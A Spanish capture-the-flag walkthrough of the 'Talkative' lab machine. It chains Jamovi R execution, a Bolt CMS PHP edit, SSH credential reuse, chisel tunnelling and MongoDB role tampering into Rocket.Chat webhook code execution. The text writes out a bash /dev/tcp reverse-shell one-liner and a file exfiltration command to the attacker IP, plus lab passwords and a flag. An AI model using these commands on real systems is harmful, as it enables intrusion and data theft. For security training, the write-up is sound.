Talkative
23 minutos de lectura
CAP_DAC_READ_SEARCH
, que nos permite leer archivos de la máquina host como root
usando un exploit. Además, el contenedor también es vulnerable a otro exploit para escribir archivos arbitrarios como root
en la máquina host- SO: Linux
- Dificultad: Difícil
- Dirección IP: 10.10.11.155
- Fecha: 09 / 04 / 2022
Escaneo de puertos
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.155 -p 80,3000,8080,8081,8082
Nmap scan report for 10.10.11.155
Host is up (0.069s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Debian)
|_http-title: Did not follow redirect to http://talkative.htb
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| X-XSS-Protection: 1
| X-Instance-ID: Me5YLwebzMWLdRR8M
| Content-Type: text/html; charset=utf-8
| Vary: Accept-Encoding
| Date:
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <link rel="stylesheet" type="text/css" class="__meteor-css__" href="/3ab95015403368c507c78b4228d38a494ef33a08.css?meteor_css_resource=true">
| <meta charset="utf-8" />
| <meta http-equiv="content-type" content="text/html; charset=utf-8" />
| <meta http-equiv="expires" content="-1" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <meta name="fragment" content="!" />
| <meta name="distribution" content="global" />
| <meta name="rating" content="general" />
| <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" />
| <meta name="mobile-web-app-capable" content="yes" />
| <meta name="apple-mobile-web-app-capable" conte>
| HTTPOptions:
| HTTP/1.1 200 OK
| X-XSS-Protection: 1
| X-Instance-ID: Me5YLwebzMWLdRR8M
| Content-Type: text/html; charset=utf-8
| Vary: Accept-Encoding
| Date:
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <link rel="stylesheet" type="text/css" class="__meteor-css__" href="/3ab95015403368c507c78b4228d38a494ef33a08.css?meteor_css_resource=true">
| <meta charset="utf-8" />
| <meta http-equiv="content-type" content="text/html; charset=utf-8" />
| <meta http-equiv="expires" content="-1" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <meta name="fragment" content="!" />
| <meta name="distribution" content="global" />
| <meta name="rating" content="general" />
| <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" />
| <meta name="mobile-web-app-capable" content="yes" />
| <meta name="apple-mobile-web-app-capable" conte>
| Help, NCP:
|_ HTTP/1.1 400 Bad Request
8080/tcp open http Tornado httpd 5.0
|_http-title: jamovi
|_http-server-header: TornadoServer/5.0
8081/tcp open http Tornado httpd 5.0
|_http-title: 404: Not Found
|_http-server-header: TornadoServer/5.0
8082/tcp open http Tornado httpd 5.0
|_http-server-header: TornadoServer/5.0
|_http-title: 404: Not Found
Service Info: Host: 172.17.0.16
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 20.78 seconds
La máquina tiene abiertos los puertos 80, 3000, 8080, 8081 y 8082 (HTTP).
Enumeración
Si vamos a http://10.10.11.155
se nos redirige a http://talkative.htb
. Después de poner el dominio en /etc/hosts
, veremos la siguiente página:
En esta página podemos ver algunos nombres de usuario:
Vayamos a http://10.10.11.155:3000
:
Es un servidor de Rocket.Chat, pero aún no tenemos credenciales.
En el puerto 8080 encontramos una aplicación Jamovi:
Aquí se nos permite ejecutar el código en R. Lo interesante es ejecutar comandos de sistema utilizando una función llamada system
:
Enumeración del contenedor
Aunque no vemos la salida esperada (solo el código de error), el comando se ha ejecutado. Por lo tanto, podemos obtener una reverse shell:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.155.
Ncat: Connection from 10.10.11.155:38970.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@b06821bbda78:/# script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
root@b06821bbda78:/# ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
root@b06821bbda78:/# export TERM=xterm
root@b06821bbda78:/# export SHELL=bash
root@b06821bbda78:/# stty rows 50 columns 158
Ahora estamos dentro de un contenedor de Docker:
root@b06821bbda78:/# hostname -i
172.18.0.2
root@b06821bbda78:/# ls -la
total 80
drwxr-xr-x 1 root root 4096 Mar 7 23:18 .
drwxr-xr-x 1 root root 4096 Mar 7 23:18 ..
-rwxr-xr-x 1 root root 0 Aug 15 2021 .dockerenv
drwxr-xr-x 2 root root 4096 Jul 22 2021 bin
drwxr-xr-x 2 root root 4096 Apr 12 2016 boot
drwxr-xr-x 5 root root 340 Aug 10 11:20 dev
drwxr-xr-x 1 root root 4096 Aug 15 2021 etc
drwxr-xr-x 2 root root 4096 Apr 12 2016 home
drwxr-xr-x 1 root root 4096 Aug 15 2021 lib
drwxr-xr-x 2 root root 4096 Jul 22 2021 lib64
drwxr-xr-x 2 root root 4096 Jul 22 2021 media
drwxr-xr-x 2 root root 4096 Jul 22 2021 mnt
drwxr-xr-x 2 root root 4096 Jul 22 2021 opt
dr-xr-xr-x 488 root root 0 Aug 10 11:20 proc
drwx------ 1 root root 4096 Mar 7 23:19 root
drwxr-xr-x 1 root root 4096 Aug 15 2021 run
drwxr-xr-x 1 root root 4096 Aug 15 2021 sbin
drwxr-xr-x 2 root root 4096 Jul 22 2021 srv
dr-xr-xr-x 13 root root 0 Aug 10 11:20 sys
drwxrwxrwt 1 root root 4096 Aug 10 11:41 tmp
drwxr-xr-x 1 root root 4096 Jul 22 2021 usr
drwxr-xr-x 1 root root 4096 Jul 22 2021 var
En /root
encontramos algunos archivos interesantes:
root@b06821bbda78:/# ls -la /root
total 28
drwx------ 1 root root 4096 Mar 7 23:19 .
drwxr-xr-x 1 root root 4096 Aug 10 11:46 ..
lrwxrwxrwx 1 root root 9 Mar 7 23:19 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwxr-xr-x 3 root root 4096 Aug 10 11:41 .jamovi
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwxrwxrwx 2 root root 4096 Aug 15 2021 Documents
-rw-r--r-- 1 root root 2192 Aug 15 2021 bolt-administration.omv
root@b06821bbda78:/# file /root/bolt-administration.omv
/root/bolt-administration.omv: Zip archive data, at least v2.0 to extract
root@b06821bbda78:/# ls -la /root/.jamovi/
total 16
drwxr-xr-x 3 root root 4096 Feb 8 19:24 .
drwx------ 1 root root 4096 Mar 7 2022 ..
-rw-r--r-- 1 root root 0 Feb 8 19:18 41337.port
drwxr-xr-x 3 root root 4096 Aug 15 2021 modules
-rw-r--r-- 1 root root 2 Feb 8 19:24 settings.json
root@b06821bbda78:/# ls -la /root/Documents/
total 8
drwxrwxrwx 2 root root 4096 Aug 15 2021 .
drwx------ 1 root root 4096 Mar 7 2022 ..
Vamos a transferirmos bolt-administration.omv
a nuestra máquina, que es un archivo ZIP (el resto de los archivos no son interesantes debido a su tamaño):
root@b06821bbda78:/# cat /root/bolt-administration.omv > /dev/tcp/10.10.17.44/4444
$ nc -nlvp 4444 > bolt-administration.omv.zip
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.155.
Ncat: Connection from 10.10.11.155:39474.
$ file bolt-administration.omv.zip
bolt-administration.omv: Zip archive data, at least v2.0 to extract, compression method=deflate
$ unzip -l bolt-administration.omv.zip
Archive: bolt-administration.omv.zip
Length Date Time Name
--------- ---------- ----- ----
106 08-14-2021 23:16 META-INF/MANIFEST.MF
106 08-14-2021 23:16 meta
2505 08-14-2021 23:16 index.html
1055 08-14-2021 23:16 metadata.json
433 08-14-2021 23:16 xdata.json
48 08-14-2021 23:16 data.bin
50 08-14-2021 23:16 01 empty/analysis
--------- -------
4303 7 files
$ unzip bolt-administration.omv.zip
Archive: bolt-administration.omv.zip
inflating: META-INF/MANIFEST.MF
inflating: meta
inflating: index.html
inflating: metadata.json
inflating: xdata.json
inflating: data.bin
inflating: 01 empty/analysis
Ahora tenemos algunos archivos JSON. Si examinamos xdata.json
, podremos encontrar algunas contraseñas para los usuarios matt
, janit
y saul
(los que vimos antes):
$ cat xdata.json | jq
{
"A": {
"labels": [
[
0,
"Username",
"Username",
false
],
[
1,
"matt@talkative.htb",
"matt@talkative.htb",
false
],
[
2,
"janit@talkative.htb",
"janit@talkative.htb",
false
],
[
3,
"saul@talkative.htb",
"saul@talkative.htb",
false
]
]
},
"B": {
"labels": [
[
0,
"Password",
"Password",
false
],
[
1,
"jeO09ufhWD<s",
"jeO09ufhWD<s",
false
],
[
2,
"bZ89h}V<S_DA",
"bZ89h}V<S_DA",
false
],
[
3,
")SQWGm>9KHEA",
")SQWGm>9KHEA",
false
]
]
},
"C": {
"labels": []
}
}
Podemos intentar acceder a Rocket.Chat usando estos nombres de usuario y contraseñas (todas las combinaciones), y ninguna funciona…
Enumerando más servicios
Usemos ffuf
para enumerar algunas rutas:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://talkative.htb/FUZZ -t 1
[Status: 200, Size: 15838, Words: 2314, Lines: 258, Duration: 243ms]
* FUZZ: search
[Status: 200, Size: 18466, Words: 2526, Lines: 316, Duration: 285ms]
* FUZZ: products
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 167ms]
* FUZZ: en
[Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 132ms]
* FUZZ: files
[Status: 200, Size: 16163, Words: 2342, Lines: 264, Duration: 240ms]
* FUZZ: page
[Status: 200, Size: 18386, Words: 2509, Lines: 316, Duration: 167ms]
* FUZZ: people
[Status: 200, Size: 18466, Words: 2526, Lines: 316, Duration: 201ms]
* FUZZ: product
[Status: 200, Size: 16163, Words: 2342, Lines: 264, Duration: 191ms]
* FUZZ: pages
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 119ms]
* FUZZ: de
[Status: 200, Size: 37217, Words: 5077, Lines: 618, Duration: 218ms]
* FUZZ: homepage
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 174ms]
* FUZZ: fr
[Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 186ms]
* FUZZ: assets
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 166ms]
* FUZZ: it
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 131ms]
* FUZZ: nl
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 141ms]
* FUZZ: es
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 128ms]
* FUZZ: pl
[Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 261ms]
* FUZZ: thumbs
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 90ms]
* FUZZ: ru
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 176ms]
* FUZZ: ja
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 91ms]
* FUZZ: hu
[Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 177ms]
* FUZZ: theme
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 149ms]
* FUZZ: is
[Status: 200, Size: 18386, Words: 2509, Lines: 316, Duration: 166ms]
* FUZZ: person
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 122ms]
* FUZZ: nb
[Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 163ms]
* FUZZ: bundles
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 119ms]
* FUZZ: nn
[Status: 301, Size: 354, Words: 60, Lines: 12, Duration: 164ms]
* FUZZ: pt_BR
[Status: 302, Size: 290, Words: 60, Lines: 12, Duration: 152ms]
* FUZZ: bolt
[Status: 200, Size: 37212, Words: 5089, Lines: 616, Duration: 285ms]
* FUZZ:
[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 402ms]
* FUZZ: 11906
[Status: 301, Size: 623, Words: 85, Lines: 16, Duration: 169ms]
* FUZZ: nl_NL
[Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 150ms]
* FUZZ: server-status
Vemos /bolt
. Si visitamos este sitio, somos redirigidos a un formulario de inicio de sesión para Bolt CMS:
Probabdo nuevamente las credenciales anteriores, descubrimos que el nombre de usuario admin
y contraseña jeO09ufhWD<s
funcionan (el nombre de usuario era una suposición):
Acceso a la máquina
Dado que somos admin
(o saul
, como se muestra en la esquina superior derecha), probablemente podamos hacer algunos cambios críticos en el servicio. Por ejemplo, hay una sección de “Configuration”:
Pinchando en “All configuration files”, veremos esto:
Y aquí podemos elegir cualquier archivo PHP, como bundles.php
:
En este punto, podemos intentar obtener ejecución remota de comandos añadiendo el siguiente código PHP:
Aquí lo tenemos:
Vamos a conseguir otra reverse shell:
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.155.
Ncat: Connection from 10.10.11.155:34606.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@e0ad934a50c1:/var/www/talkative.htb/bolt/public$ cd /
cd /
www-data@e0ad934a50c1:/$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@e0ad934a50c1:/$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@e0ad934a50c1:/$ export TERM=xterm
www-data@e0ad934a50c1:/$ export SHELL=bash
www-data@e0ad934a50c1:/$ stty rows 50 columns 158
Y volvemos a estar en otro contenedor de Docker:
www-data@e0ad934a50c1:/$ hostname -i
172.17.0.16
www-data@e0ad934a50c1:/$ ls -la
total 80
drwxr-xr-x 1 root root 4096 Feb 8 21:05 .
drwxr-xr-x 1 root root 4096 Feb 8 21:05 ..
-rwxr-xr-x 1 root root 0 Feb 8 21:05 .dockerenv
drwxr-xr-x 1 root root 4096 Mar 6 2022 bin
drwxr-xr-x 2 root root 4096 Dec 11 2021 boot
drwxr-xr-x 5 root root 340 Feb 8 21:05 dev
drwxr-xr-x 1 root root 4096 Feb 8 21:05 etc
drwxr-xr-x 2 root root 4096 Dec 11 2021 home
drwxr-xr-x 1 root root 4096 Mar 1 2022 lib
drwxr-xr-x 2 root root 4096 Feb 28 2022 lib64
drwxr-xr-x 2 root root 4096 Feb 28 2022 media
drwxr-xr-x 2 root root 4096 Feb 28 2022 mnt
drwxr-xr-x 2 root root 4096 Feb 28 2022 opt
dr-xr-xr-x 407 root root 0 Feb 8 21:05 proc
drwx------ 1 root root 4096 Mar 6 2022 root
drwxr-xr-x 1 root root 4096 Mar 1 2022 run
drwxr-xr-x 1 root root 4096 Mar 1 2022 sbin
drwxr-xr-x 2 root root 4096 Feb 28 2022 srv
dr-xr-xr-x 13 root root 0 Feb 8 21:05 sys
drwxrwxrwt 1 root root 4096 Feb 8 23:52 tmp
drwxr-xr-x 1 root root 4096 Feb 28 2022 usr
drwxr-xr-x 1 root root 4096 Mar 1 2022 var
Enumeración de red
Desde aquí podemos intentar enumerar los puertos internos de la máquina. También podríamos haber probado desde el primer contenedor, pero a partir de ahí no había visibilidad (obsérvese que la dirección IP del primer contenedor es 172.18.0.2
y la dirección IP del contenedor actual es 172.17.0.16
, que está en otro segmento de red).
Para enumerar, podemos escribir un script sencillo en Bash:
#!/bin/bash
ip=$1
for port in {1..65535}; do
timeout 1 echo 2>/dev/null > /dev/tcp/$ip/$port && echo "$ip:$port OPEN" &
done
wait
La máquina host estará en 172.17.0.1
:
www-data@33964658334d:/$ cd /tmp
www-data@33964658334d:/tmp$ nano port_scan.sh
www-data@33964658334d:/tmp$ bash port_scan.sh 172.17.0.1
172.17.0.1:22 OPEN
172.17.0.1:80 OPEN
172.17.0.1:6002 OPEN
172.17.0.1:6003 OPEN
172.17.0.1:6000 OPEN
172.17.0.1:6001 OPEN
172.17.0.1:6005 OPEN
172.17.0.1:6008 OPEN
172.17.0.1:6007 OPEN
172.17.0.1:6009 OPEN
172.17.0.1:6004 OPEN
172.17.0.1:6011 OPEN
172.17.0.1:6013 OPEN
172.17.0.1:6006 OPEN
172.17.0.1:6010 OPEN
172.17.0.1:6014 OPEN
172.17.0.1:6012 OPEN
172.17.0.1:6015 OPEN
172.17.0.1:8081 OPEN
172.17.0.1:8082 OPEN
172.17.0.1:8080 OPEN
^C
Hay muchos puertos abiertos, pero el interesante es el puerto 22 (SSH), que no está expuesto.
Acceso mediante SSH
En este punto, podríamos usar chisel
para aplicar un reenvío de puertos, pero afortunadamente, ssh
está instalado en el contenedor:
www-data@e0ad934a50c1:/tmp$ which ssh
/usr/bin/ssh
Intentemos acceder reutilizando las credenciales anteriores (saul:jeO09ufhWD<s
funciona):
www-data@e0ad934a50c1:/tmp$ ssh saul@172.17.0.1
saul@172.17.0.1's password:
saul@talkative:~$ cat user.txt
0ec2086f5500813982778db81f66c29c
Enumeración del sistema
Estos son todos los puertos internos abiertos con netstat -nat
:
saul@talkative:~$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 172.17.0.1:6000 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6001 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:8081 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6002 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:8082 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6003 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6004 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6005 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6006 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6007 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6008 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6009 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6010 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6011 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6012 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6013 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6014 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6015 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:55454 172.17.0.2:27017 TIME_WAIT
tcp 0 0 172.17.0.1:22 172.17.0.16:45724 ESTABLISHED
tcp 0 1 10.10.11.155:36560 1.1.1.1:53 SYN_SENT
tcp 0 0 172.17.0.1:55456 172.17.0.2:27017 TIME_WAIT
tcp6 0 0 :::8080 :::* LISTEN
tcp6 0 0 :::8081 :::* LISTEN
tcp6 0 0 :::8082 :::* LISTEN
Hay uno que parece prometedor: 27017 (MongoDB).
saul@talkative:~$ curl 172.17.0.2:27017
It looks like you are trying to access MongoDB over HTTP on the native driver port.
Ahora es el momento de subir chisel
y aplicar un reenvío de puertos:
saul@talkative:/tmp$ wget -q 10.10.17.44/chisel
saul@talkative:/tmp$ chmod +x chisel
saul@talkative:/tmp$ ./chisel client 10.10.17.44:1234 R:27017:172.17.0.2:27017
client: Connecting to ws://10.10.17.44:1234
client: Connected (Latency 82.288713ms)
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.155 - - [] "GET /chisel HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
$ ./chisel server --reverse -p 1234
server: Reverse tunnelling enabled
server: Fingerprint BZ0iGpzJ2ZVb07KJAZ5ZhEqDmyMzgzKk1IAqSx07a+k=
server: Listening on http://0.0.0.0:1234
server: session#1: tun: proxy#R:27017=>172.17.0.2:27017: Listening
Desde nuestra máquina, tenemos el puerto 27017 abierto, que se redirige a 172.17.0.2:27017
. Usando mongosh
podemos interactuar con el gestor de bases de datos (no se necesitan credenciales):
$ mongosh --quiet
rs0 [direct: primary] test> show dbs;
admin 104.00 KiB
config 124.00 KiB
local 11.43 MiB
meteor 4.65 MiB
Enumeración de MongoDB
Las primeras tres bases de datos parecen ser predeterminadas:
rs0 [direct: primary] test> use admin;
switched to db admin
rs0 [direct: primary] admin> show collections;
system.keys
system.version
rs0 [direct: primary] admin> use config;
switched to db config
rs0 [direct: primary] config> show collections;
image_collection
transactions
system.sessions
rs0 [direct: primary] config> use local;
switched to db local
rs0 [direct: primary] local> show collections;
oplog.rs
replset.election
replset.minvalid
replset.oplogTruncateAfterPoint
startup_log
system.replset
system.rollback.id
Entonces, examinemos meteor
:
rs0 [direct: primary] local> use meteor;
switched to db meteor
rs0 [direct: primary] meteor> show collections;
_raix_push_app_tokens
_raix_push_notifications
instances
meteor_accounts_loginServiceConfiguration
meteor_oauth_pendingCredentials
meteor_oauth_pendingRequestTokens
migrations
rocketchat__trash
rocketchat_apps
rocketchat_apps_logs
rocketchat_apps_persistence
rocketchat_avatars
rocketchat_avatars.chunks
rocketchat_avatars.files
rocketchat_credential_tokens
rocketchat_cron_history
rocketchat_custom_emoji
rocketchat_custom_sounds
rocketchat_custom_user_status
rocketchat_export_operations
rocketchat_federation_dns_cache
rocketchat_federation_keys
rocketchat_federation_room_events
rocketchat_federation_servers
rocketchat_import
rocketchat_integration_history
rocketchat_integrations
rocketchat_invites
rocketchat_livechat_agent_activity
rocketchat_livechat_custom_field
rocketchat_livechat_department
rocketchat_livechat_department_agents
rocketchat_livechat_external_message
rocketchat_livechat_inquiry
rocketchat_livechat_office_hour
rocketchat_livechat_page_visited
rocketchat_livechat_trigger
rocketchat_livechat_visitor
rocketchat_message
rocketchat_message_read_receipt
rocketchat_oauth_apps
rocketchat_oembed_cache
rocketchat_permissions
rocketchat_reports
rocketchat_roles
rocketchat_room
rocketchat_sessions
rocketchat_settings
rocketchat_smarsh_history
rocketchat_statistics
rocketchat_subscription
rocketchat_uploads
rocketchat_user_data_files
rocketchat_webdav_accounts
ufsTokens
users
usersSessions
view_livechat_queue_status [view]
system.views
Mucho más interesante. Por ejemplo, veamos qué hay en la colección users
:
rs0 [direct: primary] meteor> db.users.find().pretty();
[
{
_id: 'rocket.cat',
createdAt: ISODate("2021-08-10T19:44:00.224Z"),
avatarOrigin: 'local',
name: 'Rocket.Cat',
username: 'rocket.cat',
status: 'online',
statusDefault: 'online',
utcOffset: 0,
active: true,
type: 'bot',
_updatedAt: ISODate("2021-08-10T19:44:00.615Z"),
roles: [ 'bot' ]
},
{
_id: 'ZLMid6a4h5YEosPQi',
createdAt: ISODate("2021-08-10T19:49:48.673Z"),
services: {
password: {
bcrypt: '$2b$10$jzSWpBq.eJ/yn/Pdq6ilB.UO/kXHB1O2A.b2yooGebUbh69NIUu5y'
},
email: {
verificationTokens: [
{
token: 'dgATW2cAcF3adLfJA86ppQXrn1vt6omBarI8VrGMI6w',
address: 'saul@talkative.htb',
when: ISODate("2021-08-10T19:49:48.738Z")
}
]
},
resume: { loginTokens: [] }
},
emails: [ { address: 'saul@talkative.htb', verified: false } ],
type: 'user',
status: 'offline',
active: true,
_updatedAt: ISODate("2023-02-08T21:16:12.302Z"),
roles: [ 'admin' ],
name: 'Saul Goodman',
lastLogin: ISODate("2022-03-15T17:06:56.543Z"),
statusConnection: 'offline',
username: 'admin',
utcOffset: 0
}
]
Escalada de privilegios
Hay un nombre de usuario llamado admin
(realmente, Saul Goodman). Se puede ver un hash de una contraseña (que usa bcrypt
). Podríamos tratar de romper este hash con john
, pero es inútil ya que tenemos acceso a la base de datos. Podríamos incluso cambiar este hash:
$ python3 -q
>>> import bcrypt
>>> bcrypt.hashpw(b'asdf', bcrypt.gensalt(10))
b'$2b$10$tAQPgGNAvArtMroi/yrUhON.xMjegn74ppD0cItYTlT2wxzGuB/Pe'
Ahora, admin
debería tener asdf
como contraseña:
rs0 [direct: primary] meteor> db.users.updateOne({ _id: 'ZLMid6a4h5YEosPQi' }, { $set: { services: { password: { bcrypt: '$2b$12$XxDxpzkQHvcOP55Y/WZ6GuHNKdaCX
u6wz7P74naKv3x3cYeg9oLDK' } } } });
{
acknowledged: true,
insertedId: null,
matchedCount: 1,
modifiedCount: 1,
upsertedCount: 0
}
rs0 [direct: primary] meteor> db.users.find({}, { services: 1 }).pretty();
[
{ _id: 'rocket.cat' },
{
_id: 'ZLMid6a4h5YEosPQi',
services: {
password: {
bcrypt: '$2b$12$XxDxpzkQHvcOP55Y/WZ6GuHNKdaCXu6wz7P74naKv3x3cYeg9oLDK'
}
}
}
]
Pero si intentamos iniciar sesión en Rocket.Chat, dice que las credenciales son incorrectas… Bueno, aún podemos registrar una nueva cuenta:
Accediendo a Rocket.Chat como administrador
Ahora tenemos este nuevo usuario en la base de datos:
rs0 [direct: primary] meteor> db.users.find({ name: 'asdf' }).pretty();
[
{
_id: 'Fs9i99sjZPM767PeP',
createdAt: ISODate("2023-02-09T00:57:21.808Z"),
services: {
password: {
bcrypt: '$2b$10$saX2GRiRUp00yKbj9Kao4eCh3SRG1w6aCGQzXla4UcTah0GkofD6K',
reset: {
token: 'pIexTA3cnqeSWhBJZcCbglXtZpIV48nh0DviXWysiz4',
email: 'asdf@talkative.htb',
when: ISODate("2023-02-09T00:57:28.600Z"),
reason: 'enroll'
}
},
email: {
verificationTokens: [
{
token: 'rKgGJ9bE8KyrXwnw1B9nQK8iHrw1NCYYEdGYdtHfoP8',
address: 'asdf@talkative.htb',
when: ISODate("2023-02-09T00:57:21.861Z")
}
]
},
resume: {
loginTokens: [
{
when: ISODate("2023-02-09T00:57:22.080Z"),
hashedToken: '4OkcrRSc4miDuaYPu6r4aKySrY6/+R7gyqO1mQ5VZ9k='
}
]
}
},
emails: [ { address: 'asdf@talkative.htb', verified: false } ],
type: 'user',
status: 'online',
active: true,
_updatedAt: ISODate("2023-02-09T01:01:32.661Z"),
roles: [ 'user' ],
name: 'asdf',
lastLogin: ISODate("2023-02-09T01:01:32.616Z"),
statusConnection: 'online',
utcOffset: 1,
username: 'asdf'
}
]
Actualicemos su rol a admin
:
rs0 [direct: primary] meteor> db.users.updateOne({ name: 'asdf' }, { $set: { roles: [ 'admin' ] } });
{
acknowledged: true,
insertedId: null,
matchedCount: 1,
modifiedCount: 1,
upsertedCount: 0
}
Ahora, actualizamos la aplicación y veremos un panel de administración:
Mirando todas las opciones, la de “Integrations” se ve interesante:
Aquí podemos crear webhooks entrantes/salientes:
Por ejemplo, creemos un webhook entrante:
Ambas integraciones tienen la opción de añadir un script en Node.js que se ejecutará cuando se active el webhook. Echando un ojo a la documentación y buscando maneras de ejecutar comandos desde Rocket.Chat, encontramos este Gist de GitHub. Por lo tanto, obtengamos otra reverse shell:
Para activar el webhook (y la reverse shell), podemos usar curl
:
$ curl -X POST -H 'Content-Type: application/json' --data '{"text":"pwn","attachments":[{}]}' http://10.10.11.155:3000/hooks/cZKmjXbDpC6G4Gu5h/XqvXNct3Sg6KfrHMdjZACr3FF7uLpD59qdtmoZ4qmjPZ2zCt
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.155.
Ncat: Connection from 10.10.11.155:55706.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c150397ccd63:/app/bundle/programs/server# cd
cd
root@c150397ccd63:~# script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
root@c150397ccd63:~# ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
root@c150397ccd63:~# export TERM=xterm
root@c150397ccd63:~# export SHELL=bash
root@c150397ccd63:~# stty rows 50 columns 158
Y llegamos a otro contenedor de Docker:
root@c150397ccd63:~# hostname -i
172.17.0.3
root@c150397ccd63:~# ls -la /
total 76
drwxr-xr-x 1 root root 4096 Aug 10 2021 .
drwxr-xr-x 1 root root 4096 Aug 10 2021 ..
-rwxr-xr-x 1 root root 0 Aug 10 2021 .dockerenv
drwxr-xr-x 1 rocketchat rocketchat 4096 Aug 2 2021 app
drwxr-xr-x 2 root root 4096 Jul 21 2021 bin
drwxr-xr-x 2 root root 4096 Jun 13 2021 boot
drwxr-xr-x 5 root root 340 Feb 8 21:05 dev
drwxr-xr-x 1 root root 4096 Aug 10 2021 etc
drwxr-xr-x 2 root root 4096 Jun 13 2021 home
drwxr-xr-x 1 root root 4096 Aug 2 2021 lib
drwxr-xr-x 2 root root 4096 Jul 21 2021 lib64
drwxr-xr-x 2 root root 4096 Jul 21 2021 media
drwxr-xr-x 2 root root 4096 Jul 21 2021 mnt
drwxr-xr-x 2 root root 4096 Jul 21 2021 opt
dr-xr-xr-x 420 root root 0 Feb 8 21:05 proc
drwx------ 1 root root 4096 Aug 2 2021 root
drwxr-xr-x 3 root root 4096 Jul 21 2021 run
drwxr-xr-x 2 root root 4096 Jul 21 2021 sbin
drwxr-xr-x 2 root root 4096 Jul 21 2021 srv
dr-xr-xr-x 13 root root 0 Feb 8 21:05 sys
drwxrwxrwt 1 root root 4096 Feb 9 02:03 tmp
drwxr-xr-x 1 root root 4096 Jul 21 2021 usr
